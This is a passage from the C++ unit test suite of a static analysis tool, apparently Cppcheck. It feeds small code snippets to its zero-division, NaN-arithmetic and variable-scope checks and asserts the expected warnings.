x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == 